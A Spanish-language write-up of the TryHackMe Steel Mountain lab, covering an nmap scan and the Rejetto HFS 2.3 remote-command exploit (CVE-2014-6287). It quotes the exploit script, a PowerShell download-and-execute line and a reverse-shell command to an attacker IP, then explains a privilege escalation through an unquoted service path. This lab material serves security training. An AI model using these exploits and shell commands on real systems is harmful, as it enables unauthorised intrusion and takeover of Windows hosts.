TryHackMe – Steel Mountain walkthrough

En esta entrada vamos a resolver la máquina Steel Mountain del Offensive Path de TryHackMe. Estaremos enumerando una máquina Windows, en la que explotaremos una versión vulnerable de Rejetto HTTP File Server para ganar acceso a la máquina, una vez dentro enumeraremos posibles vías de escalada y finalmente obtendremos una shell como NT Authority\System aprovechándonos de un unquoted path de un servicio.

Reconocimiento con nmap

nmap -sCV 10.10.53.253 -n -oN steel_mountain.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-04 20:12 CET
Nmap scan report for 10.10.53.253
Host is up (0.045s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT      STATE SERVICE            VERSION
80/tcp    open  http               Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: STEELMOUNTAIN
|   NetBIOS_Domain_Name: STEELMOUNTAIN
|   NetBIOS_Computer_Name: STEELMOUNTAIN
|   DNS_Domain_Name: steelmountain
|   DNS_Computer_Name: steelmountain
|   Product_Version: 6.3.9600
|_  System_Time: 2021-12-04T19:13:30+00:00
|_ssl-date: 2021-12-04T19:13:35+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=steelmountain
| Not valid before: 2021-12-03T19:06:17
|_Not valid after:  2022-06-04T19:06:17
8080/tcp  open  http               HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49157/tcp open  msrpc              Microsoft Windows RPC
49165/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2021-12-04T19:13:29
|_  start_date: 2021-12-04T19:06:08
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC: 02:66:28:67:45:85 (unknown)
| smb2-security-mode: 
|   3.0.2: 
|_    Message signing enabled but not required

Nmap nos reporta que estamos delante de una máquina Windows y que tenemos varios servicios abiertos pero nos vamos a centrar en el HTTP corriendo en el puerto 8080. Nos muestra un HttpFileServer con versión 2.3. Accedemos con el explorador para confirmar dicho servicio y versión.

Búsqueda de exploits conocidos

Vamos a buscar con searchsploit algun exploit disponible para esta versión.

searchsploit httpfileserver 2.3

Genial, hay un exploit disponible. Nos lo traemos a nuestro directorio de trabajo con searchsploit.

# Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)                                                                                  
# Google Dork: intext:"httpfileserver 2.3"                                                                                                                    
# Date: 28-11-2020                                                                                                                                            
# Remote: Yes                                                                                                                                                 
# Exploit Author: Óscar Andreu                                                                                                                                
# Vendor Homepage: http://rejetto.com/                                                                                                                        
# Software Link: http://sourceforge.net/projects/hfs/                                                                                                         
# Version: 2.3.x                                                                                                                                              
# Tested on: Windows Server 2008 , Windows 8, Windows 7                                                                                                       
# CVE : CVE-2014-6287

#!/usr/bin/python3

# Usage :  python3 Exploit.py <RHOST> <Target RPORT> <Command>
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.4/shells/mini-reverse.ps1')"

import urllib3
import sys
import urllib.parse

try:
        http = urllib3.PoolManager()
        url = f'http://{sys.argv[1]}:{sys.argv[2]}/?search=%00{{.+exec|{urllib.parse.quote(sys.argv[3])}.}}'
        print(url)
        response = http.request('GET', url)

except Exception as ex:
        print("Usage: python3 HttpFileServer_2.3.x_rce.py RHOST RPORT command")
        print(ex)

El exploit nos da un ejemplo de uso para saber qué necesita para funcionar. Debemos indicarle la ip y el puerto de la máquina víctima y el comando a ejecutar en el sistema, hay que recordar que estamos en una máquina windows y en el ejemplo nos propone hacer uso de powershell para cargar y ejecutar un script. Para este paso haremos uso de Invoke-PowerShellTcp.ps1.

Una vez descargado, añadiremos al final del script la función para entablar la conexión reversa. Así, cúando ejecute el script nos devolverá la conexión de una.

Invoke-PowerShellTcp -Reverse -IPAddress 10.8.27.100 -Port 4444

Nos queda compartir este script con python y ponernos a la escucha con netcat antes de lanzar el exploit.

Obteniendo acceso a la máquina

Ahora ya podemos lanzar el exploit. Al lanzarlo nos hará la petición a nuestro servidor HTTP de python cogerá el script Invoke-PowerShellTcp.ps1 y nos devolverá la conexión a nuestro netcat.

En la imagen se puede ver cómo al lanzar el exploit hace una petición a nuestro script que estamos compartiendo con python y que seguidamente recibimos la conexión entrante de la máquina como usuario Bill.

Escalación de privilegios

Una vez dentro de la máquina toca enumerarla para escalar privilegios. La enumeramos mediante la herramienta PowerUp.ps1. Nos la pasamos a la máquina con la utilidad certutil.

Una vez la tengamos en la máquina cargamos el script y usamos la función Invoke-AllChecks.

Rápidamente nos muestra como primera opción un unquoted path en el servicio AdvancedSystemCareService9. En este caso podremos colocar un binario creado por nosotros en el directorio C:\Program Files (x86)\IObit\ , para posteriormente reiniciar el servicio y que se ejecute nuestro binario en lugar del binario legítimo del servicio. Este fallo se debe a la falta de comillas en el path cuándo éste contiene espacios. Por tanto, el espacio lo tenemos en el directorio Advanced SystemCare, y Windows lo que hará cuándo reinicie el servicio es buscar dentro del directorio IObit un Advanced.exe, en caso de que exista lo ejecutará, de lo contrario seguirá y ejecutará el legítimo ASCService.exe.

Vamos a crear con msfvenom un ejecutable que se llame Advanced y que nos devuelva una shell reversa, nos lo compartimos con python y seguidamente lo pasamos a la máquina, almacenándolo en el directorio C:\Program Files (x86)\IObit.

Está todo listo, nos queda ponernos a la escucha con netcat en el puerto 443 y reiniciar el servicio para provocar que se ejecute nuestro binario.

Una vez reiniciado el servicio, recibiríamos una conexión entrante de la máquina como NT Authority\System.

Óscar Montoya